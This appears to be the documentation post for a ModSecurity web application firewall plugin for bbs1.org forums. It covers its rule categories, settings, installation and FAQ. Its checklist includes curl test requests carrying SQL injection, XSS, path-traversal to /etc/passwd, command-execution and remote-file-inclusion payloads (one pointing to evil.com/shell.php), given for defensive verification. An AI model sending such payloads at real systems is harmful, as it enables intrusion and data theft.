ModSecurity 防火墙插件(bbs1.org)

下载地址

应用层 Web 应用防火墙(WAF),内置 OWASP ModSecurity Core Rule Set(CRS)核心规则集。
通过 app.boot 钩子在路由分发前对每个请求执行异常评分检测,支持拦截 / 检测双模式、自动 IP 封禁、日志审计与后台管理面板。

  • 插件 ID:modsecurity
  • 版本:1.0.0
  • 适用环境:bbs1.org 论坛程序(PHP 7.4+ / 8.x,PDO 数据库)

功能特性

  • OWASP CRS 核心规则集:11 大类 120+ 条规则,覆盖:
  • 920 协议执行(控制字符、编码滥用、受限文件、空字节)
  • 921 协议攻击(请求走私 / CRLF / 头注入 / 参数污染)
  • 930 路径穿越 / LFI
  • 931 远程文件包含(RFI)
  • 932 远程命令执行(Unix / Windows / Java / Shellshock / WebShell 上传)
  • 933 PHP 注入(开放标签、超全局变量、危险函数、序列化对象)
  • 934 Node.js 注入
  • 941 跨站脚本 XSS(全部主流向量 + AngularJS / jQuery / HTML5 标签)
  • 942 SQL 注入(SQLi 全系列,含盲注、UNION、恒真式、NoSQL、UDF、注释绕过)
  • 943 会话固定
  • 944 Java 反序列化 / 命令执行
  • 异常评分机制:严重=5 错误=4 警告=3 提示=2,累计达到阈值即拦截(默认 5,即一条严重规则触发)
  • Paranoia 级别 1-4:级别越高检测越严格,误报率也随之升高
  • 双模式:block 拦截模式 / detect 检测模式(仅记录不拦截)/ off 关闭
  • 自动 IP 封禁:窗口内拦截次数达到阈值自动封禁指定时长,防暴力破解与持续攻击
  • 事件日志审计:完整记录命中规则、级别、类别、匹配内容、URL、方法、IP、用户、是否拦截
  • 站长豁免:uid=1 站长请求永不拦截,避免误封后无法进后台解封
  • 后台管理面板:设置与概览 / 规则管理 / 拦截日志 / IP 封禁四个标签

安装

  1. 将 app/plugins/modsecurity/ 目录完整上传到论坛的 app/plugins/ 目录下。
  2. 进入后台 → 插件,找到 ModSecurity 防火墙,点击 启用。
  • 启用时自动创建数据表:plugin_modsecurity_events(事件日志)、plugin_modsecurity_bans(封禁记录)。
  1. 启用后,后台「插件」页顶部会出现 ModSecurity 标签,进入即控制面板。
  • 直接访问:index.php?a=admin&tab=modsecurity(或开启伪静态后 /admin/modsecurity)。

建议首次启用时先将运行模式设为 检测模式(detect),观察 1-3 天日志,确认无误报后再切换为 拦截模式(block)。

卸载

后台插件列表 → 卸载。卸载会同时删除事件日志表与封禁表(历史数据不可恢复)。


控制面板使用

标签功能
设置与概览运行模式、异常阈值、警惕级别、自动封禁、体积上限、Content-Type 白名单;顶部统计卡片显示累计拦截 / 今日拦截 / 今日事件 / 封禁中 IP
规则管理按类别列出全部规则(ID、级别、Paranoia、目标向量、说明),可单条启停或整类停用
拦截日志按级别 / 类别 / 是否拦截筛选,关键词搜索(IP / 规则 / 内容 / URL),分页,清空 7 天前或全部
IP 封禁手动封禁 / 解封、查看自动封禁详情(原因 / 触发次数 / 到期时间)、清理过期

关键设置项

设置默认值说明
运行模式block拦截 / 检测 / 关闭
异常分阈值5达到该分值即拦截(严重=5 错误=4 警告=3 提示=2)
警惕级别(Paranoia)11-4,越高越严格
自动封禁开启窗口内拦截次数达到阈值自动封禁
封禁触发次数10统计窗口内被拦截次数
统计窗口(秒)90015 分钟
封禁时长(秒)36000 表示永久封禁
单请求体积上限(MB)25超过直接拦截
允许的 Content-Type表单 / JSON / 文本 / XML 等不在列表的 POST 请求会被拒绝

使用检查清单

部署后按以下步骤逐项验证,确保 WAF 正常工作且不影响正常访问:

1. 基础状态检查

  • [ ] 后台「插件」页显示 ModSecurity 已启用(状态为「启用」而非错误)
  • [ ] 后台出现「ModSecurity」标签,可正常打开四个子标签
  • [ ] 「设置与概览」统计卡片正常显示数字(无数据库报错)
  • [ ] 「规则管理」中各类别规则可见,且 X/Y 条生效 计数正确(默认全部生效)

2. 拦截功能测试(务必先设为 detect 模式或用测试机)

建议用 curl 或浏览器无痕窗口在 检测模式 下验证,避免误伤正常访问。

# SQL 注入(应触发 942 系列,异常分 >= 5 → 拦截)
curl -i "http://你的域名/index.php?a=admin&tab=modsecurity&q=1' OR '1'='1"

# XSS(应触发 941 系列)
curl -i "http://你的域名/index.php?a=home&x=<script>alert(1)</script>"

# 路径穿越(应触发 930 系列)
curl -i "http://你的域名/index.php?a=home&file=../../etc/passwd"

# 命令执行(应触发 932 系列)
curl -i "http://你的域名/index.php?a=home&cmd=cat /etc/passwd"

# 远程文件包含(应触发 931 系列)
curl -i "http://你的域名/index.php?a=home&page=http://evil.com/shell.php"
  • [ ] 拦截模式下以上请求返回 403(HTML 拒绝页或 JSON {"ok":0})
  • [ ] 检测模式下以上请求返回正常业务页,但「拦截日志」中有对应命中记录(blocked=仅记录)

3. 正常访问不受影响

  • [ ] 首页、板块、帖子、发帖、回帖、搜索均正常(无 403 / 无日志误报)
  • [ ] 后台管理各项操作正常(登录、发帖管理、用户管理、插件管理)
  • [ ] 附件上传 / 头像上传正常(测试常见图片、文本、压缩包)
  • [ ] 登录 / 注册 / 注销流程正常
  • [ ] 使用浏览器正常访问时「拦截日志」无 CRITICAL 级误报

4. 自动封禁测试(可选)

  • [ ] 将「封禁触发次数」临时调低(如 3)、「封禁时长」调小(如 300),连续发起 3 次恶意请求
  • [ ] 达到阈值后再次访问应返回 403,且「IP 封禁」中出现该 IP 记录
  • [ ] 到期后自动解封(或在面板中手动解封验证)

5. 站长豁免验证

  • [ ] 使用 uid=1 站长账号从同一 IP 发起恶意请求,不应被拦截(防止站长自锁)
  • [ ] 站长可从「IP 封禁」手动解封任何被误封 IP

6. 规则管理验证

  • [ ] 在「规则管理」中停用某条规则(或整个类别)后,对应攻击请求不再被拦截
  • [ ] 重新启用后恢复拦截
  • [ ] 调整 Paranoia 级别为 2/3/4 后,规则生效数量随级别增加

7. 运维检查

  • [ ] 日志量过大时使用「拦截日志」中的「清理 7 天前」/「清空日志」,或依赖自动清理(默认保留 5 万条)
  • [ ] 数据库表存在且可写入:plugin_modsecurity_events、plugin_modsecurity_bans
  • [ ] PHP 错误日志无该插件相关报错(debug_log_write 会记录规则正则无效等异常)

常见问题

Q:启用后整站无法访问?
A:多为误拦截。确认是否开启了 app/plugins/modsecurity/ 权限正常;先用 index.php?a=admin&tab=modsecurity 把模式改为 detect,再排查日志。站长(uid=1)请求永不被拦截,可用站长账号进后台调整。

Q:正常发帖/回帖被拦截?
A:多为内容触发了高灵敏度规则(如正文含 <?php、onclick=、select *、长数字串等)。可:

  1. 在「拦截日志」查看命中的规则 ID;
  2. 到「规则管理」停用对应规则(或整类);
  3. 或降低 Paranoia 级别、调高异常阈值。

Q:如何让某些参数不被检测?
A:目前按「规则停用」粒度控制(单条规则或整个类别)。可在「规则管理」停用误报规则。

Q:规则停用后仍被拦截?
A:确认停用的是正确 ID;另注意异常评分是累加的,可能由多条低分值规则共同触发,需同时停用或调高阈值。

Q:自动封禁把正常用户封了?
A:调高「封禁触发次数」或调低误报规则灵敏度;被封用户可手动解封。站长永远豁免。

Q:为什么有些规则在「规则管理」看不到?
A:部分协议类检查(如 Content-Length 校验、缺 User-Agent 等)为内置硬编码逻辑,不以规则形式展示,但命中会记入日志。


技术说明

  • 检测时机:app.boot 钩子,在路由分发前执行(index.php 的 fire('app.boot'))。
  • 性能:每条规则用 preg_match 对目标向量逐一匹配;已内置无效正则过滤(避免整站崩溃),并支持静态缓存规则表。
  • 数据表:
  • plugin_modsecurity_events:rule_id / msg / severity / category / matched / target / uri / method / ip / user_id / blocked / created_at
  • plugin_modsecurity_bans:ip / reason / hits / created_at / expires_at(expires_at=0 表示永久)
  • 判定逻辑:anomaly_score = Σ severity_score(rule),达到 anomaly_threshold 即 blocked(仅 block 模式),随后触发自动封禁判断并返回 403。
主楼